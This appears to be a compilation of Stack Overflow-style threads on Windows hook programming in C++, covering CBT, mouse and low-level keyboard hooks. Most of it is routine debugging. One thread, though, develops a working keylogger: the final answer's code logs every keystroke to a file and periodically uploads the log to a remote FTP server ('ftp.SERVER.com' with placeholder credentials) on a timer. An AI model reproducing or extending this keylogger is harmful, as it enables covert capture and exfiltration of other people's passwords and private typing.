Why doesn't SetWindowsHookEx accept the hook procedure? - c++

I am trying to create a dll where I can use to monitor all of system events (process creation, destruction, etc). This is what I have come up so far:
DLL main - the entry point of my DLL:
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include "CBTHook.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CBT::CBTHook::SetHandle(hModule);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DLL Header file
//Dll header file - function signatures
#ifdef CBTHOOKDLL_EXPORTS
#define CBTHOOKDLL_API __declspec(dllexport)
#else
#define CBTHOOKDLL_API __declspec(dllimport)
#endif
namespace CBT
{
class CBTHook
{
public:
CBTHook();
static void SetHandle(HINSTANCE handle);
void InstallHook();
void UnistallHook();
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wparam, LPARAM lparam);
~CBTHook();
private:
static HINSTANCE currentProcessHandle;
HOOKPROC hkprcSysMsg;
static HHOOK hookID;
};
}
CBTHook.cpp
// CBTHook.cpp : Defines the exported functions for the DLL application.
//
#pragma once
#include "stdafx.h"
#include "CBTHook.h"
#include <Windows.h>
#include <iostream>
using namespace std;
namespace CBT
{
CBTHook::CBTHook()
{
}
void CBTHook::SetHandle(HINSTANCE handle)
{
currentProcessHandle = handle;
}
void CBTHook::InstallHook()
{
hookID = SetWindowsHookEx(WH_CBT,HookProcedure, currentProcessHandle, 0);
}
void CBTHook::UnistallHook()
{
UnhookWindowsHookEx(hookID);
}
LRESULT CALLBACK CBTHook::HookProcedure(int nCode, WPARAM wparam, LPARAM lparam)
{
if (nCode >= 0)
{
switch (nCode)
{
case HCBT_CREATEWND:
cout << "Created!~" << endl;
break;
case HCBT_DESTROYWND:
cout << "Destroied!~" << endl;
break;
default:
cout << "sth else" << endl;
break;
}
}
else
return CallNextHookEx(hookID, nCode, wparam, lparam);
}
}
Now the problem is that, SetWindowsHookEx wont accept the HookProcedure while as far as I have read and seen on the net the return value of the function in question is correct. I get the error:
error C3867: 'CBT::CBTHook::HookProcedure': function call missing argument list; use '&CBT::CBTHook::HookProcedure' to create a pointer to member
Doing as suggested by above doesn't solve the problem either!
What am I missing here?

Your hook procedure must be a free function or a static class method. If you want to call a class instance method, you need to wrap that call in one of the above.
Edit:
To set a hook you need no classes. This is a basic example. Every other problem stems from your use of a class. If you want to use a class, make sure you know how to do it. If you are unsure, C++ is not Java. You don't need to use a class if it works just perfectly without.
Example:
#include "stdafx.h"
HHOOK hHook;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
hHook = SetWindowsHookEx(WH_CBT, HookProcedure, hModule, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wparam, LPARAM lparam)
{
if (nCode >= 0)
{
switch (nCode)
{
case HCBT_CREATEWND:
cout << "Created!~" << endl;
break;
case HCBT_DESTROYWND:
cout << "Destroied!~" << endl;
break;
default:
cout << "sth else" << endl;
break;
}
}
else
return CallNextHookEx(hHook, nCode, wparam, lparam);
}

Related

Blocking mouse messages with hook

How do i 'block' the WM_LBUTTONDOWN message to be fired?
The function is inside of a dll, I also tried to use LowLevelMouseProc but it does not work with error code: 1429 which means "global only hook".
I don't own the window in question.
I tried to return a WM_NULL in the code below, but it also doesn't work, what else i could try?
extern "C" __declspec(dllexport) LRESULT CALLBACK mouseHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
MSLLHOOKSTRUCT* mhs = nullptr;
int x = 0;
int y = 0;
std::wstringstream ss;
std::wstringstream ss2;
if (nCode == HC_ACTION)
{
switch (wParam)
{
case WM_LBUTTONDOWN:
ss << L"\nWM_LBUTTONDOWN " << wParam;
wParam = WM_NULL;
break;
case WM_LBUTTONUP:
ss << L"\nWM_LBUTTONUP " << wParam;
break;
case WM_MOUSEMOVE:
break;
case WM_RBUTTONDOWN:
ss << L"\nWM_RBUTTONDOWN: " << wParam;
break;
case WM_RBUTTONUP:
ss << L"\nWM_RBUTTONUP: " << wParam;
break;
default:
ss << L"\nUnknown msg: " << wParam;
break;
}
}
OutputDebugString(ss.str().c_str());
mhs = reinterpret_cast<MSLLHOOKSTRUCT*>(lParam);
x = mhs->pt.x;
y = mhs->pt.y;
ss2 << L"\nx: " << x << L" y: " << y;
OutputDebugString(ss2.str().c_str());
return CallNextHookEx(NULL, nCode, wParam, lParam);
Per the MouseProc callback function documentation:
If nCode is greater than or equal to zero, and the hook procedure did not process the message, it is highly recommended that you call CallNextHookEx and return the value it returns; otherwise, other applications that have installed WH_MOUSE hooks will not receive hook notifications and may behave incorrectly as a result. If the hook procedure processed the message, it may return a nonzero value to prevent the system from passing the message to the target window procedure.
As for your WH_MOUSE_LL error, you can't install that hook on a thread-specific basis, only globally.

WH_KEYBOARD_LL not working for regular letters and digits

I'm using SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, GetModuleHandleA(NULL), 0); to set a global hook for capturing the keystrokes, but the result is strange.
The callback function can be executed when I press the "special" keys such as "Enter", "Tab", "Shift", "Ctrl" and other keys having a Virtual Key Code, while it fails to capture the keystrokes when I press the regular letters and digits.
I am confused about it and could anyone tell me the reason?
#include <Windows.h>
#include <iostream>
using namespace std;
HHOOK keyboardHook = 0;
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam;
cout<< "[TEST] " << ks->vkCode << endl;
return CallNextHookEx(0, code, wParam, lParam);
}
int main()
{
keyboardHook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, GetModuleHandleA(NULL), 0);
if (keyboardHook == 0)
{
cout << "failed" << endl;
return -1;
}
cout << "ok" << endl;
MSG msg;
while(GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(keyboardHook);
return 0;
}

How do I add a timer to a keylogger c++

What can I do to make a timer in this keylogger so it sends logs every hour? I tried Sleep() function while loops, but they don't seem to work. I thought of using multi-threading, but I thought there must be a more efficient method.
#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include<iostream>
//globals
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// Invisible keys
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<dDOWN>"; break;
case VK_RETURN: out << "<ENTER>\n"; break;
//add special keys like semicolons
// Visible keys
default:
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT)) //this should be on top to detect simultanous input first
out << char(tolower(p->vkCode));
else if (GetKeyState(VK_CAPITAL)||GetAsyncKeyState(VK_SHIFT))
out << char(toupper(p->vkCode));
//add capital version of sepecial keys
else
out << char(tolower(p->vkCode));
}
out.flush(); //to immediately flush to txt file
cout<<p<<endl;
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
out.close();
return 0;
}
I'm using DEVC++
If you just want to send your logs every once in a while, you can easily do a check to detect how long it has been since the last log update!
Easy Method
You'll need to store all your keylogs between file updates. You can easily put them into a vector.
So Instead of outputting to your file with out << blahblah add the character to your vector with vectorname.push_back(blahblah)
You'll also need a timing variable. You can use the windows.h function GetTickCount for all of your timing needs.
When your keyboard hook/callback (the method you have your actual keylogging code in) gets called, check to see if it's been an hour since the last time you updated your log file, if it has been an hour or longer, update it and set your timing variable = GetTickCount.
Hope that helps!
The Win32 API function SetTimer executes a function every x milliseconds or any given time.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644906(v=vs.85).aspx
The following console program works like this: It sets a timer using SetTimer
then loops in a message loop. The message loop receives and processes WM_TIMER messages
and the timer callback also is called for each time interval.
usage_Time_millisec=1000;//1 sec=1000ms 1 min=60*1000ms
Simply put the stuff you want done in the CALLBACK TimerProc() function.
#define STRICT 1
#include <windows.h>
#include <iostream.h>
#include <time.h>
unsigned long minutes=0;
int Counter=0;
int usage_Time_millisec=1000;//1 sec=1000ms 1 min=60*1000ms
clock_t timer_start, timer_stop;
MSG Msg;
UINT TimerId;
VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime)
{
//put the stuff you want done in here
cout << "Doing stuff Time: " << dwTime << '\n';
cout << abs(timer_start - timer_stop ) <<" millisecond delay " << endl;
cout << "--------------------------------------------------\n" ;
cout.flush();
}
int main(int argc, char *argv[], char *envp[])
{
usage_Time_millisec=1000;//1 sec=1000ms 1 min=60*1000ms
TimerId = SetTimer(NULL, 0, usage_Time_millisec, &TimerProc); //bind TimerProc() to SetTimer()
timer_start = clock ();
timer_stop = clock ();
cout << "TimerId: " << TimerId << '\n';
if (!TimerId) return 16;
while (GetMessage(&Msg, NULL, 0, 0))
{
++Counter;
if (Msg.message == WM_TIMER)
{
timer_start = clock ();
//cout << "Doing stuff Counter: " << Counter << "; timer message\n";
}
else
{
timer_stop = clock ();
timer_start = clock ();
//cout << "Doing stuff Counter: " << Counter << "; message: " << Msg.message << '\n';
}
DispatchMessage(&Msg);
}
KillTimer(NULL, TimerId);
return 0;
}
I used SetTimer() and it works like a charm.
#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include<iostream>
#include <time.h>
#include <wininet.h>
using namespace std;
//globals
char date[100]; //must be a global variable
char *datetxt; //must be a global variable
char *buffer; //for outputting to new file, if there isnt internet
void namer(); //show nointernet() that namer() exists
void nointernet()
{
std::ifstream inFile(datetxt);//copy to buffer
inFile >> buffer;
inFile.close();
remove(datetxt); //delete old name
namer(); //give new name
std::ofstream outFile(datetxt); //should be here to avoid new and old name mishaps
outFile << buffer; //enter copied data here
}
void namer()
{
time_t rawtime;
struct tm *timeinfo;
time (&rawtime);
timeinfo = localtime (&rawtime);
strftime(date, 100, "%H%M%d%m%Y%S", timeinfo); //get date
datetxt = strcat(date, ".txt"); //joins date with a .txt extrention
}
int upload()
{
HINTERNET hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); // Initialization for WinInet Functions
if (!hInternet)
{
nointernet(); //if there is no internet, append new log file
}
HINTERNET hFtpSession = InternetConnect(hInternet, "ftp.SERVER.com", INTERNET_DEFAULT_FTP_PORT, "USER", "PASS", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); // Starts a session in this case an FTP session
if (!hFtpSession)
{
InternetCloseHandle(hInternet);
nointernet(); //if you cant access ftp, append to new log file
}
FtpPutFile(hFtpSession, datetxt, datetxt, FTP_TRANSFER_TYPE_BINARY, 0); // Uploads datetxt file onto the FTP server as datetxt
InternetCloseHandle(hFtpSession); // Close hFtpSession
InternetCloseHandle(hInternet); // Close hInternet
//delete old datetxt
namer(); //give new name
return 0;
}
void CALLBACK repeat(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime)
{
upload(); //upload old name and change name
}
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
ofstream out(datetxt, ios::app);
// If key is being pressed
if (wParam == WM_KEYDOWN)
{
switch (p->vkCode)
{
// Invisible keys
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<dDOWN>"; break;
case VK_RETURN: out << "<ENTER>\n"; break;
//add special keys like semicolons
// Visible keys
default:
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT)) //this should be on top to detect simultanous input first
out << char(tolower(p->vkCode));
else if (GetKeyState(VK_CAPITAL) || GetAsyncKeyState(VK_SHIFT))
out << char(toupper(p->vkCode));
//add capital version of special keys
else
out << char(tolower(p->vkCode));
}
out.close(); //to immediately flush to txt file
cout << p << endl;
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
namer(); // for the datetxt name
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); // Set windows hook
//re-run program here/*************************************************
MSG msg;
SetTimer(NULL, 0, 10000, (TIMERPROC) &repeat);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//till here/**********************************************************/
// out.close();
BOOL WINAPI UnhookWindowsHookEx(HHOOK keyboardHook);
return 0;
}

Why doesn't this system wide CBT hook work properly?

I am trying to create a system wide hook to monitor processes and terminate unwanted ones. I searched and found out I need to use CBT hooks, my first try failed and this is the second one, the former question can be found here though.
The following code builds just fine, but it seems the hooks are not even called, since I tried setting break point in the DllMain(), but I never reach there. Other functions seem to be accessible though!
Here are the code snippets:
dllmain.cpp
// dllmain.cpp : Defines the entry point for the DLL application.
#pragma once
#include "stdafx.h"
#include <iostream>
#include <fstream>
#include <Windows.h>
using namespace std;
HINSTANCE currentProcessHandle;
HOOKPROC hkprcSysMsg;
HHOOK hookID;
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
std::ofstream outfile("test.txt");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
currentProcessHandle = hModule;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wparam, LPARAM lparam)
{
std::ofstream outfile("test.txt");
if (nCode >= 0)
{
switch (nCode)
{
case HCBT_CREATEWND:
outfile << L"Created!~";
cout << "Created!~" << endl;
break;
case HCBT_DESTROYWND:
outfile << L"Destroied!~";
cout << "Destroied!~" << endl;
break;
default:
cout << "sth else" << endl;
break;
}
}
else
{
return CallNextHookEx(hookID, nCode, wparam, lparam);
}
outfile.close();
}
__declspec(dllexport) void InstallHook()
{
hookID = SetWindowsHookEx(WH_CBT, HookProcedure, currentProcessHandle, 0);
}
__declspec(dllexport) void UnistallHook()
{
UnhookWindowsHookEx(hookID);
}
And this is the Consumer application
// Hook Executer.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "..\Dll\dllmain.cpp"
#include <iostream>
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
int num = -1;
cout << "1.Install Hook"<<endl
<< "2.Unistall Hook"<<endl
<< "0.Exit";
do{
cin >> num;
if (num ==1)
{
InstallHook();
}
else
{
UnistallHook();
}
getchar();
system("cls");
cout << "1.Install Hook" << endl
<< "2.Unistall Hook" << endl
<< "0.Exit";
} while (num != 0 && num < 3);
return 0;
}
When I run the program there is no error, not even exceptions of any kind, it's as if there is no DLL or I have coded nothing inside that DLL. What's wrong with it?
implement your DLL code in a CPP file, not an header:
//dllmain.cpp
#include "stdafx.h" // include <Windows.h>
// and other std headers in stdafx.h, if not already done
HINSTANCE currentProcessHandle;
HHOOK hookID;
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved ) {
if ( ul_reason_for_call == DLL_PROCESS_ATTACH )
currentProcessHandle = hModule;
return TRUE;
}
LRESULT CALLBACK HookProcedure( int nCode, WPARAM wparam, LPARAM lparam ) {
if ( nCode < 0 ) return CallNextHookEx( NULL, nCode, wparam, lparam );
std::ofstream outfile;
outfile.open( "test.txt", // replace with an absolute path
std::fstream::app ); // append mode
if (nCode >= 0) {
switch( nCode ) {
case HCBT_CREATEWND:
outfile << "Created!\n";
break;
case HCBT_DESTROYWND:
outfile << "Destroyed!\n";
break;
default:
break;
}
}
outfile.close();
return 0;
}
void InstallHook( void ) {
hookID = SetWindowsHookEx( WH_CBT, HookProcedure, currentProcessHandle, 0 );
}
void UninstallHook( void ) { // NEW NAME
UnhookWindowsHookEx( hookID );
}
Declare the DLL APIs in a header file.
// dllapi.h
void InstallHook( void );
void UninstallHook( void ); // NEW NAME
Use a DEF file for exporting, add it to the DLL project
; Def file
EXPORTS
InstallHook
UninstallHook
In the EXE project, include ONLY the DLL header file
#include "..\Dll\dllapi.h"
In the EXE project, go to properties->Linker->Input->Additional dependencies and add the lib file generated during the build of the DLL. Alternative: make the DLL a dependency of the EXE in the project dependencies of the Solution, and in the EXE properties, set Yes for Linker->general->Use Library dependency Inputs

Why does SetWindowsHookEx return 0?

I'm trying to set a WH_CBT hook, and it return 0 all the time.
I checked for error, and I got error 1428. I researched a little and found out that I have a problem with the hMod parameter, though I can't see what should I put in it instead of null. Does anyone know what I am doing wrong?
This is my code:
#include "stdafx.h"
#include "Windows.h"
#include <iostream>
using namespace std;
HHOOK hookHandle;
LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam);
int _tmain(int argc, _TCHAR* argv[])
{
hookHandle = SetWindowsHookEx(WH_CBT,CBTProc,NULL,0);
if(hookHandle == NULL)
{
cout << "ERROR CREATING HOOK: ";
cout << GetLastError() << endl;
getchar();
return 0;
}
MSG message;
while(GetMessage(&message, NULL, 0, 0) != 0)
{
TranslateMessage( &message );
DispatchMessage( &message );
}
cout << "Press any key to quit...";
getchar();
UnhookWindowsHookEx(hookHandle);
return 0;
}
LRESULT CALLBACK CBTProc( int nCode,WPARAM wParam, LPARAM lParam)
{
cout << "hello" << endl;
return CallNextHookEx(hookHandle, nCode,
wParam, lParam);
}
P.S. I apologize if the code has stupid elements about it. I'm not a newbie to programming, just to C++.
If you specify 0 for the threadid that specifies the hook to be global. For that to work, the hook needs to be injected into other processes. This means the hook needs to be exposed from a DLL. You need to either move the hook procedure to a dll, or specify a thread in your process.
Use GetModuleHandle(NULL) and GetCurrentThreadId() to get the handle and the thread id you need to pass to that function.
Sample:
hookHandle = SetWindowsHookEx(WH_CBT,CBTProc,
GetModuleHandle(NULL),
GetCurrentThreadId());
As Logan says, that would hook only the current process. You need to put the code in a dll to develop a system hook.
I know that this is very old post, but I was fighting with the simmilar issue. I wanted to track size and location changes for the "Shell_traywnd" window and I found a solution in this thread. I belive that it will help for someone else.